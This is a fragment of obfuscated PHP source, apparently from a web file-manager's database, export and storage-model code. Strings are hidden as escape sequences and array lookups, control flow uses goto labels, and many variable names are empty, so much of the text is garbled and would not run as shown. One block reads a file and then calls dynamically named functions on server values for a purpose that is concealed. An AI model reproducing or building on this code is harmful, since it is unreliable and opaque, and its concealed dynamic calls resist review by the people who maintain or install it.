$this->parseGroup(!empty($ߚ[$Ŧփ[578]]) ? $ߚ[$Ŧփ[578]] : $Ŧփ[12]), $this->parseHaving(!empty($ߚ[$Ŧփ[1129]]) ? $ߚ[$Ŧփ[1129]] : $Ŧփ[12]), $this->parseOrder(!empty($ߚ[$Ŧփ[441]]) ? $ߚ[$Ŧփ[441]] : $Ŧփ[12]), $this->parseLimit(!empty($ߚ[$Ŧփ[368]]) ? $ߚ[$Ŧփ[368]] : $Ŧփ[12]), $this->parseUnion(!empty($ߚ[$Ŧփ[423]]) ? $ߚ[$Ŧփ[423]] : $Ŧփ[12]), $this->parseComment(!empty($ߚ[$Ŧփ[430]]) ? $ߚ[$Ŧփ[430]] : $Ŧփ[12])), $͈); return $͈; } public function getLastSql($ = '') { return $ ? $this->modelSql[$] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($θ) { return addslashes($θ); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($ = array()) { $Լ =& $_SERVER[]; if (empty($)) { $ = $GLOBALS[$Լ[6]][$Լ[21]]; } $this->database = $; } public function model($̫£ = '') { return new ModelBase($̫£, $_SERVER[][12], $this->database); } public function db($ɲ = false) { $ =& $_SERVER[]; $Ǯƴ = array_change_key_case($this->database); if ($this->dbType() == $[13] || !$ɲ) { return $this->model()->db(); } $悥 = $Ǯƴ[$[1043]]; $Ǯƴ[$[1043]] = $[12]; if ($Ǯƴ[$[1038]] == $[1035]) { $ = $Ǯƴ[$[1044]]; $Ǯƴ[$[1044]] = substr($, 0, strrpos($, $[1130])); } $this->database = $Ǯƴ; $̥ = $this->model()->db(); try { $܂ = $̥->execute("\163\x68\x6f\167\40\x64\141\x74\x61\142\x61\163\x65\163\x20\x6c\151\153\x65\x20\47{$悥}\47"); } catch (Exception $) { } if (!$܂) { $̥->execute("\143\162\145\x61\164\x65\40\x64\141\x74\x61\142\x61\x73\x65\x20\140{$悥}\x60"); } $Ǯƴ[$[1043]] = $悥; if ($Ǯƴ[$[1038]] == $[1035]) { $Ǯƴ[$[1044]] .= $[1130] . $悥; } $this->database = $Ǯƴ; $̥->execute("\x75\x73\145\40\140{$悥}\x60"); return $̥; } public function createTable($Ǝ, &$) { $̍ =& $_SERVER[]; if (!IO::exist($Ǝ)) { ActionCall($̍[1131], !0, 0); show_json(LNG($̍[1132]), !1); } $氢 = $this->model()->db(); $¡ = sqlSplit(IO::getContent($Ǝ)); foreach ($¡ as $) { $ = stripos($, $̍[1133]) === 0; if ($) { $->task[$̍[1134]] += 1; } $氢->execute($); if ($) { preg_match($̍[1135], $, $Ҫ); $->task[$̍[1136]] = $Ҫ[1]; $->update(1); } } } public function insertTable($, &$藱) { $ =& $_SERVER[]; $ = $this->model()->db(); $ = $Ӡ ? array($Ӡ) : $->getTables(); foreach ($ as $֛) { $Ӡ = basename($֛, $[863]); if (!in_array($Ӡ, $)) { continue; } $藱->task[$[1136]] = $Ӡ; if (get_filesize($֛) == 0) { continue; } $ę = $this->sqlToDb($֛, $藱); if (!$ę) { ActionCall($[1131], !0, 0); show_json(LNG($[1137]) . "\x5b{$Ӡ}\135", !1); } } } public function sqlFromDb($꧜, $鮘, &$΃, $ = '') { if ($΃) { $΃->task[$_SERVER[][1136]] = $꧜; } $ = $this->model($꧜); $ܜ = 0; $̻ = 0; $Ȳ = 10000; $‘ = fopen($鮘, $_SERVER[][1138]); $Е = $->getPk(); $җ… = $->getDbFields(); $Ŋ = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][862]] && in_array($꧜, array($_SERVER[][1139], $_SERVER[][1140]))) { $Ŋ = $꧜; } do { $ = array($Е => array($_SERVER[][1085], $̻)); $퓡 = $->where($)->field($җ…)->order($Е . $_SERVER[][1141])->limit($Ȳ)->select(); $퓡 = !empty($퓡) ? $퓡 : array(); if (!($ԣ = count($퓡))) { break; } $Ѡ = end($퓡); $̻ = $Ѡ[$Е]; $ = array(); foreach ($퓡 as $ݨ) { if ($Ŋ) { if ($꧜ == $_SERVER[][1139]) { if ($ݨ[$_SERVER[][33]] == $_SERVER[][1142]) { $֌ = json_decode($ݨ[$_SERVER[][450]], !0); if ($֌[$_SERVER[][32]] == $GLOBALS[$_SERVER[][862]] && $֌[$_SERVER[][817]] != 1) { continue; } } } else { if ($ݨ[$_SERVER[][33]] == $_SERVER[][1143] && $ݨ[$_SERVER[][97]] == $_SERVER[][857]) { continue; } } } if ($) { $ݨ[$_SERVER[][87]] = "\173\x69\x6f\72{$}\x7d" . substr($ݨ[$_SERVER[][87]], strlen("\x7b\x69\157\x3a{$ݨ[$_SERVER[][892]]}\175")); $ݨ[$_SERVER[][892]] = $; } $[] = $_SERVER[][1144] . $this->sqlEncode($ݨ) . $_SERVER[][1145]; } $կ = "\x49\116\123\x45\x52\x54\x20\111\x4e\124\117\x20\140{$꧜}\140\40\50\x60" . implode($_SERVER[][1146], $җ…) . $_SERVER[][1147]; fwrite($‘, $կ . implode($_SERVER[][1148], $) . $_SERVER[][74] . PHP_EOL); $ܜ += $ԣ; if ($΃) { $΃->update($ԣ); } } while ($Ȳ == $ԣ); fclose($‘); return $ܜ; } public function sqlToDb($Þ, &$) { $ä =& $_SERVER[]; $ = $this->model()->db(); $ = @fopen($Þ, $ä[1149]); if (!$) { return !1; } $ۼ = 0; $ʃ = $ä[12]; $ = array(); $٩ = $this->dbType(); $́ꙶ = $٩ == $ä[13] ? 500 : 2000; $ = basename($Þ, $ä[863]); $θ = 0; $Ӄ = 4194304; while (!feof($)) { $몫 = trim(fgets($)); if (!$몫) { continue; } $ߑ׀ = $this->sqlDecode($몫, $٩, $); if (stripos($ߑ׀, $ä[431]) === 0) { if (!$ʃ) { $ʃ = $ߑ׀ . $ä[53]; } continue; } if ($) { $->task[$ä[1134]] += 1; } $ۼ++; $[] = rtrim(rtrim(trim($ߑ׀), $ä[50]), $ä[74]); $ = null; $钤 = strlen($ߑ׀); $θ += $钤; $ϋ = strlen($ʃ) + $θ + (count($) - 1); if ($ϋ >= $Ӄ) { $ = array_pop($); if ($ۼ > 1) { $ۼ--; } } if ($ۼ >= $́ꙶ || $) { $ߑ׀ = $ʃ . implode($ä[50], $); if (!$->execute($ߑ׀)) { return !1; } if ($) { $->update($ۼ); } $ = array(); $ۼ = 0; $θ = 0; if ($) { $ = array($); $ۼ = 1; $θ = $钤; } } } fclose($); if (!empty($)) { $ߑ׀ = $ʃ . implode($ä[50], $); if (!$->execute($ߑ׀)) { return !1; } if ($) { $->update($ۼ); } } return !0; } public function dropTable($ۢ˻ = null) { $ = $this->model()->db(); $Ϛ = $ۢ˻ ? array($ۢ˻) : $->getTables(); if (!$Ϛ) { return; } foreach ($Ϛ as $ۢ˻) { if ($ۢ˻) { $ۢ˻ = strtolower($ۢ˻); } else { continue; } $->execute("\x64\x72\x6f\160\x20\x74\141\x62\154\145\40\151\x66\40\145\x78\x69\163\x74\x73\40\140{$ۢ˻}\140"); } } private function sqlEncode($菗) { $ =& $_SERVER[]; $ = array(); foreach ($菗 as $ˀ) { if (is_array($ˀ)) { $ˀ = json_encode_force($ˀ); } $ˀ = addslashes($ˀ); $ˀ = str_replace(array($[1150], $[262], $[418]), array($[1151], $[1152], $[1153]), $ˀ); $[] = $ˀ; } return $[58] . implode($[1154], $) . $[58]; } private function sqlDecode($͚λ, $, $۠ = '') { $ =& $_SERVER[]; $͚λ = str_replace(array($[1151], $[1152], $[1153]), array($[1150], $[262], $[418]), $͚λ); if ($ == $[13]) { $͚λ = str_ireplace($[1155], $[59], $͚λ); $͚λ = stripslashes($͚λ); } return preg_replace($[1156], $[12], $͚λ); if ($ == $[13]) { return $۠ != $[1157] ? stripslashes($͚λ) : $͚λ; } if ($۠ == $[1157]) { $͚λ = str_replace($[1158], $[121], stripslashes($͚λ)); } return $͚λ; } public function getSqlFile($ߣ = '') { $ =& $_SERVER[]; $ = $this->dbType(!0); $ߗ = CONTROLLER_DIR . "\x69\156\163\x74\141\154\154\57\144\141\x74\141\x2f{$}\56\163\161\x6c"; $ = file_get_contents($ߗ); $ʧ = $[1159] . ($ == $[879] ? $[1160] : $[1161]) . $[1162]; preg_match_all($ʧ, $, $ٴ); $̳ۖ = $ٴ[1]; $ = $this->model()->db(); $눊 = $->getTables(); $ = TEMP_FILES . $[1163] . date($[272]) . $[8]; del_dir($); mk_dir($); $ = $ . $[1164]; $ѐ = $ . $[1165]; $Ȯ = $ == $[13] ? $[879] : $[13]; IO::copy(CONTROLLER_DIR . "\x69\x6e\x73\x74\x61\154\x6c\x2f\144\141\x74\141\57{$Ȯ}\x2e\x73\161\x6c", $); @touch($ . $ . $[863]); $Dz = fopen($, $[1138]); $ܣ = fopen($ѐ, $[1138]); if ($ == $[13]) { $눊 = array_diff($눊, array($[855], $[856])); $ = array($[1166], $[1167], $[1168]); fwrite($ܣ, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($눊 as $̌) { $ = $this->sqlFromSqlite($̌); if (!$[$[13]]) { continue; } fwrite($ܣ, $[$[13]] . PHP_EOL . PHP_EOL); if (!in_array($̌, $̳ۖ)) { fwrite($Dz, $[$[879]] . PHP_EOL . PHP_EOL); } } } else { foreach ($눊 as $̌) { $ = $this->sqlFromMysql($̌); if (!$[$[879]]) { continue; } fwrite($Dz, $[$[879]] . PHP_EOL . PHP_EOL); if (!in_array($̌, $̳ۖ)) { fwrite($ܣ, $[$[13]] . PHP_EOL . PHP_EOL); } } } fclose($Dz); fclose($ܣ); $ = array($[879] => $, $[13] => $ѐ); return $ߣ ? $[$ߣ] : $; } public function dbType($ = false) { $ =& $_SERVER[]; $ = $ ? $GLOBALS[$[6]][$[21]] : $this->database; $ = array_change_key_case($); $ = $[$[1038]]; if ($ == $[1035]) { $ч = explode($[4], $[$[1044]]); $ = $ч[0]; } $첂 = array($[1169] => $[13], $[983] => $[879]); if (isset($첂[$])) { $ = $첂[$]; } return $; } public function sqlFromMysql($ں׫, $ = '') { $᷅ =& $_SERVER[]; $Õ = $this->model()->db(); $Ο = $Õ->query($᷅[1170] . $ں׫ . $᷅[461]); if (!$Ο || !$Ο[0]) { return !1; } $Ơ = _get($Ο[0], $᷅[1171], $᷅[12]); if (!$Ơ) { return !1; } $ = "\x44\x52\x4f\x50\x20\x54\x41\102\114\x45\x20\111\x46\x20\x45\x58\111\123\x54\123\x20\x60{$ں׫}\x60\73" . PHP_EOL . $Ơ . $᷅[74]; if ($ && $ == $᷅[879]) { return $; } $ = array_change_key_case($GLOBALS[$᷅[6]][$᷅[21]]); $ = $[$᷅[1043]]; $ = $᷅[1172] . $ . $᷅[1173] . $ں׫ . $᷅[58]; $Ռ = $᷅[1174] . $ں׫ . $᷅[971]; $ = $Õ->query($); if (empty($)) { $⊸چ = array($᷅[879] => $᷅[12], $᷅[13] => $᷅[12]); return $ ? $⊸چ[$] : $⊸چ; } $蝯 = $Õ->query($Ռ); $情 = $᷅[12]; $ߵ = array(); foreach ($蝯 as $կ) { if (!$情 && $կ[$᷅[1175]] == $᷅[1176]) { $情 = $կ[$᷅[1177]]; } if (isset($ߵ[$կ[$᷅[1175]]])) { $ߵ[$կ[$᷅[1175]]][$᷅[1178]][] = $կ[$᷅[1177]]; continue; } $ߵ[$կ[$᷅[1175]]] = array($᷅[1179] => $կ[$᷅[1175]], $᷅[1178] => array($կ[$᷅[1177]]), $᷅[1180] => $կ[$᷅[1181]] == $᷅[91] ? 0 : 1); } $ڍ = array(); foreach ($ߵ as $կ) { $ = $կ[$᷅[1179]] == $᷅[1176]; $ = array($᷅[1182], $կ[$᷅[1180]] == $᷅[91] && !$ ? $᷅[1183] : $᷅[12], $᷅[1184], $᷅[1185] . $ں׫ . $᷅[11] . ($ ? $᷅[1186] : $կ[$᷅[1179]]) . $᷅[121], $᷅[1187], $᷅[121] . $ں׫ . $᷅[121], $᷅[1188] . implode($᷅[1189], $կ[$᷅[1178]]) . $᷅[1190]); $ڍ[] = implode($᷅[53], $) . $᷅[74]; } $Ŧ܂ = array(); $҉ = array($᷅[1191] => $᷅[1192], $᷅[1192] => $᷅[1192], $᷅[364] => $᷅[391], $᷅[363] => $᷅[391]); foreach ($ as $կ) { $ = array($᷅[121] . $կ[$᷅[1193]] . $᷅[121], isset($҉[$կ[$᷅[1194]]]) ? $҉[$կ[$᷅[1194]]] : $կ[$᷅[1195]], $կ[$᷅[1196]] == $᷅[969] ? $᷅[1197] : $᷅[1198], $կ[$᷅[1193]] == $情 ? $᷅[1199] : $᷅[12], $կ[$᷅[1020]] ? strtoupper(str_replace($᷅[11], $᷅[12], $կ[$᷅[1020]])) : $᷅[12]); $Ŧ܂[] = trim(implode($᷅[53], $)); } $˶ = array($᷅[1200] . $ں׫ . $᷅[1201], $᷅[1202] . $ں׫ . $᷅[1203], implode($᷅[50] . PHP_EOL, $Ŧ܂), $᷅[1017]); $ۛ = implode(PHP_EOL, array_merge($˶, $ڍ)); if ($ && $ == $᷅[13]) { return $ۛ; } $⊸چ = array($᷅[879] => $, $᷅[13] => $ۛ); return $ ? $⊸چ[$] : $⊸چ; } public function sqlFromSqlite($, $ = '') { $̬ =& $_SERVER[]; $̵ = $this->model()->db(); $ܜ = "\x50\122\x41\107\x4d\101\40\x54\101\x42\x4c\105\x5f\x49\x4e\106\117\40\x28\x27{$}\x27\51"; $ = "\123\x45\114\105\x43\x54\40\52\x20\106\x52\x4f\115\40\163\161\x6c\x69\x74\x65\x5f\155\141\x73\x74\145\x72\40\127\110\105\122\x45\40\x74\142\x6c\x5f\x6e\x61\x6d\145\40\75\x20\x27{$}\x27"; $̍ = $̵->query($ܜ); if (empty($̍)) { $ = array($̬[879] => $̬[12], $̬[13] => $̬[12]); return $ ? $[$] : $; } $ғ = $̵->query($); $Ίݠ = $ = array(); foreach ($ғ as $) { if ($[$̬[33]] == $̬[356]) { $Ίݠ[] = $[$̬[1204]]; } else { $[$[$̬[32]]] = $[$̬[1204]]; } } $Ϋ = array_merge(array($̬[1200] . $ . $̬[121]), $Ίݠ, array_values($)); $Ϋ = implode($̬[74] . PHP_EOL, $Ϋ) . $̬[74]; if ($ && $ == $̬[13]) { return $Ϋ; } $Þ؃ = array(); $幧ކ = array($̬[1192] => $̬[1205], $̬[391] => $̬[1206]); $ݩ = $̬[12]; foreach ($̍ as $) { if ($[$̬[57]] == $̬[91]) { $ݩ = $[$̬[32]]; } $›۰ = array($̬[461] . $[$̬[32]] . $̬[461], isset($幧ކ[$[$̬[33]]]) ? $幧ކ[$[$̬[33]]] : $[$̬[33]], $[$̬[35]] == $̬[91] ? $̬[1197] : $̬[1207] . $[$̬[56]], $[$̬[57]] == $̬[91] ? $̬[1208] : $̬[12]); $Þ؃[] = trim(implode($̬[53], $›۰)); } foreach ($ as $ => $֕) { $ް = str_replace($̬[1209] . $ . $̬[11], $̬[12], $); $ч = str_replace(array($̬[121], $̬[1028]), $̬[461], substr($֕, stripos($֕, $̬[337]))); if ($ް == $̬[1186]) { $̶ = $̬[1210] . $ݩ . $̬[1211]; } else { $̶ = (stripos($ް, $̬[11]) ? $̬[1212] : $̬[12]) . ($̬[1213] . $ް . $̬[1214] . $ч); } $Þ؃[] = $̶; } $ˎ = array($̬[1215] . $ . $̬[1216], $̬[1217] . $ . $̬[1218], implode($̬[50] . PHP_EOL, $Þ؃), $̬[1219]); $ = implode(PHP_EOL, $ˎ); if ($ && $ == $̬[879]) { return $; } $ = array($̬[879] => $, $̬[13] => $Ϋ); return $ ? $[$] : $; } } goto aĝۭ; A: class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\x73\145\x72\137\x6f\x70\x74\151\157\156"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($²) { $ޡ =& $_SERVER[]; $ = defined($ޡ[2189]) && USER_ID ? USER_ID : $ޡ[12]; return "\125\x73\x65\162\117\x70\x74\151\157\x6e\x5f{$²}\137" . $; } protected function filterWhere($) { $ =& $_SERVER[]; $[$[1763]] = defined($[2189]) && USER_ID ? USER_ID : $[12]; return $; } public function cacheRemoveUser($뎿, $ǂ) { return Cache::remove("\125\163\x65\x72\117\x70\164\x69\x6f\x6e\x5f{$뎿}\137" . $ǂ); } protected function optionDefault($Ƌ = '') { $ٲ߻ =& $_SERVER[]; if ($Ƌ == $ٲ߻[12]) { return $GLOBALS[$ٲ߻[6]][$ٲ߻[2494]]; } if ($Ƌ == $ٲ߻[2495]) { return $GLOBALS[$ٲ߻[6]][$ٲ߻[2496]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\x55\163\145\162\x2e\164\141\x67\114\151\x73\164"; public $modelType = "\x55\x73\145\162\117\x70\x74\x69\157\156"; public $field = array("\x6e\x61\x6d\145", "\x73\164\171\x6c\145", "\x73\157\x72\x74"); public function listData($ۘ = false, $֛ = "\x73\x6f\162\x74", $̤ = false) { return parent::listData($ۘ, $֛, $̤); } public function remove($چ) { return parent::remove($چ); } public function add($Փ, $Ҙ = "\154\141\x62\x65\x6c\x2d\x67\x72\145\x79\55\156\x6f\x72\x6d\141\x6c") { $ =& $_SERVER[]; if ($this->findByName($Փ)) { return !1; } $Ь = array($[494] => $Փ, $[558] => $Ҙ, $[1966] => $this->getSort($[335]) + 1); return parent::insert($Ь); } public function update($ܿ, $͸ǚ) { $ =& $_SERVER[]; $ = $this->listData($ܿ); $ = $this->findByName($͸ǚ[$[32]]); if (!$ || $ && $[$[475]] != $[$[475]]) { return !1; } return parent::update($ܿ, $͸ǚ); } public function moveTop($Ǐ) { $ =& $_SERVER[]; $ = parent::listData(); $ܪ = $this->getSort($[334]); foreach ($ as &$ٙ) { if ($ٙ[$[475]] == $Ǐ) { $ٙ[$[1986]] = $ܪ; continue; } $ٙ[$[1986]] += 1; } unset($ٙ); return parent::resetData($); } public function moveBottom($) { $ =& $_SERVER[]; $ӱ = $this->getSort($[335]) + 1; return parent::update($, array($[1986] => $ӱ)); } public function resetSort($ޝ) { $ =& $_SERVER[]; $ = array(); $ޝ = is_array($ޝ) ? $ޝ : array(); for ($ = 0; $ < count($ޝ); $++) { $[$ޝ[$] . $[12]] = $ + 1; } $ = parent::listData(); foreach ($ as &$ڤã) { $‡Е = $[$ڤã[$[475]]]; $ڤã[$[1986]] = $‡Е ? $‡Е : $ڤã[$[1986]]; } unset($ڤã); return parent::resetData($); } private function getSort($㏖) { $֣ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $֣[12], $֣[1986]); if (!$) { $ = array(0); } $̄ = $㏖ == $֣[335] ? max($) : min($); return intval($̄); } } goto fȋ߇; C׶: if ($_SERVER[$_SERVER[][846]] != $_SERVER[$_SERVER[][2086]]) { $_getc = $_SERVER[][847]; $_getfile = $_SERVER[$_SERVER[][848]] . $_SERVER[][849]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][262], $_getfilec); if (count($_getarrs) < $_SERVER[][687]) { $exit = $_SERVER[][850]; $exit(); } $_act = $_SERVER[][851]; $_act($_SERVER[$_SERVER[][844]]); } class StorageModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\145\155\x2e\x73\164\157\162\141\147\145\x4c\151\163\x74"; public $field = array("\x6e\141\x6d\x65", "\x73\151\172\x65\x4d\x61\170", "\x73\x79\x73\x74\145\x6d", "\x64\x65\x66\141\165\x6c\164", "\x64\x72\x69\166\x65\162", "\x63\x6f\156\x66\x69\147"); public function listData($ɤѴ = false, $җ = "\x6d\x6f\x64\x69\146\171\x54\x69\x6d\x65", $ܨ䳡 = false) { $Ђ =& $_SERVER[]; $Ծ = parent::listData($ɤѴ, $җ, $ܨ䳡); if ($ɤѴ) { return $Ծ; } $Γ = array(); if ($GLOBALS[$Ђ[2294]]) { $Γ = $this->ioSizeUseGet(array_to_keyvalue($Ծ, $Ђ[12], $Ђ[475])); } foreach ($Ծ as $ʉ => $ԙ) { unset($Ծ[$ʉ][$Ђ[6]]); $Ծ[$ʉ][$Ђ[1950]] = isset($Γ[$ԙ[$Ђ[475]]]) ? $Γ[$ԙ[$Ђ[475]]] : 0; } return $Ծ; } public function ioSizeUseGet($擏) { $윇 =& $_SERVER[]; if (!$擏) { return array(); } $ = $윇[2295] . implode($윇[50], $擏); $ٱ = Cache::get($); if ($ٱ) { return $ٱ; } $ڍ = array($윇[892] => $윇[475], $윇[2296] => $윇[79]); $Ά = array($윇[892] => array($윇[7], $擏)); $ٱ = Model($윇[864])->field($ڍ)->where($Ά)->group($윇[892])->select(); $ٱ = array_to_keyvalue($ٱ, $윇[475], $윇[79]); Cache::set($, $ٱ, 600); return $ٱ; } public function getConfig($) { $Ӹ = parent::listData($); return json_decode($Ӹ[$_SERVER[][6]], !0); } public function update($홐, $⢐) { $݋ =& $_SERVER[]; $ = $⢐[$݋[32]]; $ = array_to_keyvalue(parent::listData(), $݋[32]); if (isset($[$]) && $[$][$݋[475]] != $홐) { return !1; } $this->checkPwd($홐, $⢐); if (isset($⢐[$݋[2297]]) && $⢐[$݋[2297]] == $݋[91]) { $this->checkConfig($⢐); } unset($⢐[$݋[2297]]); $؋ = parent::update($홐, $⢐); if ($؋ && $⢐[$݋[37]]) { $͕ = 0; foreach ($ as $) { if ($[$݋[37]] && $[$݋[475]] != $홐) { $͕ = $[$݋[475]]; parent::update($[$݋[475]], array($݋[37] => 0)); } } $this->updateBackup($홐, $͕); } return $؋; } public function add($و) { $ =& $_SERVER[]; $ʼ = array_to_keyvalue(parent::listData(), $[32]); if (isset($ʼ[$و[$[32]]])) { return !1; } $this->checkConfig($و); $צɸ = parent::insert($و); if ($צɸ && $و[$[37]]) { foreach ($ʼ as $) { if ($[$[37]]) { parent::update($[$[475]], array($[37] => 0)); } } } return $צɸ; } public function updateBackup($ŭ, $Ԉ) { $ =& $_SERVER[]; if (!$Ԉ) { return; } $ = Model($[815])->config(); if ($[$[1733]] != $[91] || $[$[819]] != $Ԉ) { return; } $懆 = Model($[837])->get($[858]); $懆 = json_decode($懆, !0); if (!$懆) { return; } $懆[$[819]] = $ŭ; Model($[837])->set(array($[858] => $懆)); } public function checkPwd($, &$ԓ) { $׾ =& $_SERVER[]; if (empty($ԓ[$׾[6]])) { return; } $ = json_decode($ԓ[$׾[6]], !0); $Ƌߘ = $׾[12]; $ = array($׾[2298], $׾[2299], $׾[960]); foreach ($ as $ڞ) { if (isset($[$ڞ])) { $Ƌߘ = $ڞ; break; } } if (!$Ƌߘ) { return; } $ɢɛ = $this->getConfig($); $ = $ɢɛ[$Ƌߘ]; $ = $[$Ƌߘ]; if ($ == str_repeat($׾[220], strlen($))) { $[$Ƌߘ] = $; $ԓ[$׾[6]] = json_encode($); } else { if ($ != $) { $ԓ[$׾[2297]] = $׾[91]; } } } public function checkConfig(&$, $޵ = false) { $æ =& $_SERVER[]; $㿲 = strtolower($[$æ[98]]); $޲ = $[$æ[6]]; if (!is_array($޲)) { $޲ = json_decode($޲, !0); } foreach ($޲ as $׆ => $˴؎) { if (is_string($˴؎)) { $޲[$׆] = trim($˴؎); } } $޲[$æ[2300]] = rand_string(6); $۠ = $GLOBALS[$æ[6]][$æ[92]][$æ[900]]; $‰ = isset($۠[$㿲]) ? $۠[$㿲] : ucfirst($㿲); $ = $æ[77] . $‰; if (!$‰ || !class_exists($)) { if ($޵) { return LNG($æ[2301]); } write_log(array($æ[2302], $, get_caller_info()), $æ[215]); show_json(LNG($æ[2301]), !1, $); } $ę = new $($޲); if (in_array($㿲, $ę->objectDriver)) { try { if (!$ę->isBucketCors() && !$ę->setBucketCors()) { $Τ = LNG($æ[2303]); $Τ .= $æ[2304] . LNG($æ[2305]); } } catch (Exception $Ļ) { $Τ = $Ļ->getMessage(); } if (isset($Τ)) { return $this->_parseError($Τ, $㿲, $޵); } if ($㿲 == $æ[68] && !$ę->checkRegion()) { return $this->_parseError(LNG($æ[2306]), $㿲, $޵); } } $ = rtrim($޲[$æ[1255]], $æ[8]) . $æ[8]; $Ѻ = $ę->getPath($ . $æ[1259]); try { if ($㿲 == $æ[109]) { $ę->mkdir($); } $ij = $ę->mkfile($Ѻ); if (!$ij) { $Τ = LNG($æ[2303]); } } catch (Exception $Ļ) { $Τ = $Ļ->getMessage(); } if (isset($Τ)) { return $this->_parseError($Τ, $㿲, $޵); } $޲[$æ[1255]] = $; $[$æ[6]] = json_encode($޲); $[$æ[98]] = $‰; return !0; } private function _parseError($, $, $؏ = false) { $֒ =& $_SERVER[]; if ($ == $֒[68] && stripos($, $֒[2307])) { $ڟ = explode($֒[10], $); $ᮑݛ = isset($ڟ[1]) ? $ڟ[1] : $֒[12]; $؜ = array($֒[2308] => LNG($֒[2309]), $֒[2310] => LNG($֒[2311])); if (isset($؜[$ᮑݛ])) { $ = $؜[$ᮑݛ]; } } if (stripos($, $֒[2312]) === 0) { $ = strpos($, $֒[178]); if ($ === !1) { $ = strpos($, $֒[4]); } if ($ !== !1) { $ = substr($, $ + 1); } } $ = LNG($֒[1262]) . $; if ($؏) { return $; } show_json($, !1); } public function driverListSystem() { $Ğ =& $_SERVER[]; $٬ = parent::listData(); $ = array(); foreach ($٬ as $º) { unset($º[$Ğ[231]], $º[$Ğ[88]]); $º[$Ğ[6]] = json_decode($º[$Ğ[6]], !0); $[] = $º; } return $; } public function defaultDriver() { $ߛӃ =& $_SERVER[]; $؄ = parent::listData(); $ = array_filter_by_field($؄, $ߛӃ[37], 1); $ = $[0]; if ($) { $[$ߛӃ[6]] = json_decode($[$ߛӃ[6]], !0); } return $; } public function driverInfo($꘶ޛ) { $ =& $_SERVER[]; $ = array_to_keyvalue(parent::listData(), $[475]); if (!isset($[$꘶ޛ])) { return !1; } $ = $[$꘶ޛ]; $[$[6]] = json_decode($[$[6]], !0); return $; } public function remove($ގ) { $this->removeShareItems($ގ); return parent::remove($ގ); } public function removeWithFile($Á, $, $ߺ, $ = false) { $ =& $_SERVER[]; $ = array($[892] => $Á); $砮 = Model($[544])->where($)->count(); $ڌ = Model($[544])->where($)->sum($[79]); $ = $ . $[2313] . $Á; $ⷝ = LNG($ == $[620] ? $[2314] : $[2315]); $ۣ = new TaskFileTransfer($, $[215], $砮, $ⷝ . $[462] . $ߺ[$[32]] . $[214] . $Á); $ۣ->task[$[830]] = (double) $ڌ; $넼 = KodIO::defaultDriver(); $ʣ = $넼[$[475]]; $ߺ = $ɝ = $ = array(); $ = Model($[230])->where($)->field($[2316])->select(); foreach ($ as $) { $ӧ، = $[$[541]]; if ($) { $ɝ[] = $ӧ،; continue; } $ = $[$[87]]; $̌Ӕ = get_path_father($); $[] = $̌Ӕ; $̌Ӕ = str_replace("\x7b\151\x6f\72{$Á}\x7d\x2f", "\173\x69\157\72{$ʣ}\175\57", $̌Ӕ); if (!IO::exist($)) { $ߺ[] = $ӧ،; $ۣ->updateFileEnd($[$[32]], $[$[79]]); write_log($[2317] . $, $[1893]); continue; } $ = IO::move($, $̌Ӕ, REPEAT_RENAME); if (!$) { $ɝ[] = $ӧ،; $ۣ->updateFileEnd($[$[32]], $[$[79]]); write_log($[2318] . $, $[1893]); continue; } $ = array($[541] => $ӧ،); $ۼá = array($[892] => $ʣ, $[87] => $); Model($[230])->where($)->save($ۼá); } $衦 = $ۣ->task; if (!$) { Cache::set($, $衦); } $ۣ->end(); $ߺ = array_unique($ߺ); $ɝ = array_unique($ɝ); if (!$ && ($ߺ || $ɝ)) { $屯 = array(); if ($ߺ) { $屯[] = sprintf(LNG($[2319]), count($ߺ)); } if ($ɝ) { $屯[] = sprintf(LNG($[2320]), count($ɝ)); } $屯 = sprintf(LNG($[2321]), implode($[2322], $屯)) . $[2323] . date($[2324]) . $[2325]; if ($ == $[1930]) { $屯 .= $[2326] . LNG($[2327]); } $衦[$[1257]] = $屯; Cache::set($, $衦); unset($ߺ[$[6]]); $ɥ̆ = array($[475] => $Á, $[2201] => $[620], $[32] => $ߺ[$[32]], $[1280] => $ߺ); Hook::trigger($[1774], array($[1280] => $ɥ̆, $[1290] => !0)); show_json($屯, !1, 100111); } if ($ == $[620]) { return !0; } if ($ߺ || $ɝ) { $ߦ = array_merge($ߺ, $ɝ); $ߦ = array_filter(array_unique($ߦ)); $this->removeByFileID($ߦ); } if ($) { $ = array_filter(array_unique($)); foreach ($ as $) { $Ա = IO::has($, !0); if (!$Ա[$[239]] && !$Ա[$[240]]) { IO::remove($); } } } return $this->remove($Á); } private function removeByFileID($ֵͥ = array()) { $܅Ԓ =& $_SERVER[]; if (empty($ֵͥ)) { return; } $ = array($܅Ԓ[541] => array($܅Ԓ[7], $ֵͥ)); $ϟ = Model($܅Ԓ[1411])->where($)->field($܅Ԓ[193])->select(); if (!$ϟ) { return Model($܅Ԓ[544])->remove($ֵͥ); } $ϟ = array_to_keyvalue($ϟ, $܅Ԓ[12], $܅Ԓ[193]); foreach ($ϟ as $) { Model($܅Ԓ[899])->removeNow($, !1); } } private function removeShareItems($ڻָ) { $ =& $_SERVER[]; $ = "\x7b\x69\x6f\x3a{$ڻָ}\x7d\x2f"; $ = array($[193] => 0, $[1250] => array($[459], "{$}\45")); $ = Model($[1941])->where($)->field($[665])->select(); if (empty($)) { return; } $Ҕ = array_to_keyvalue($, $[12], $[665]); Model($[664])->remove($Ҕ); } } class SystemLightAppModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\145\x6d\x2e\114\151\147\x68\x74\101\160\160"; public $modelType = "\x53\171\163\x74\x65\155\x4f\160\164\151\x6f\156"; public $field = array("\x6e\x61\155\x65", "\x67\162\x6f\165\160", "\144\145\163\x63", "\x63\157\156\164\145\156\164"); public function listData($Ժ = false, $ݓ = "\155\157\x64\151\146\x79\124\x69\x6d\x65", $ӆ = true) { return parent::listData($Ժ, $ݓ, $ӆ); } public function 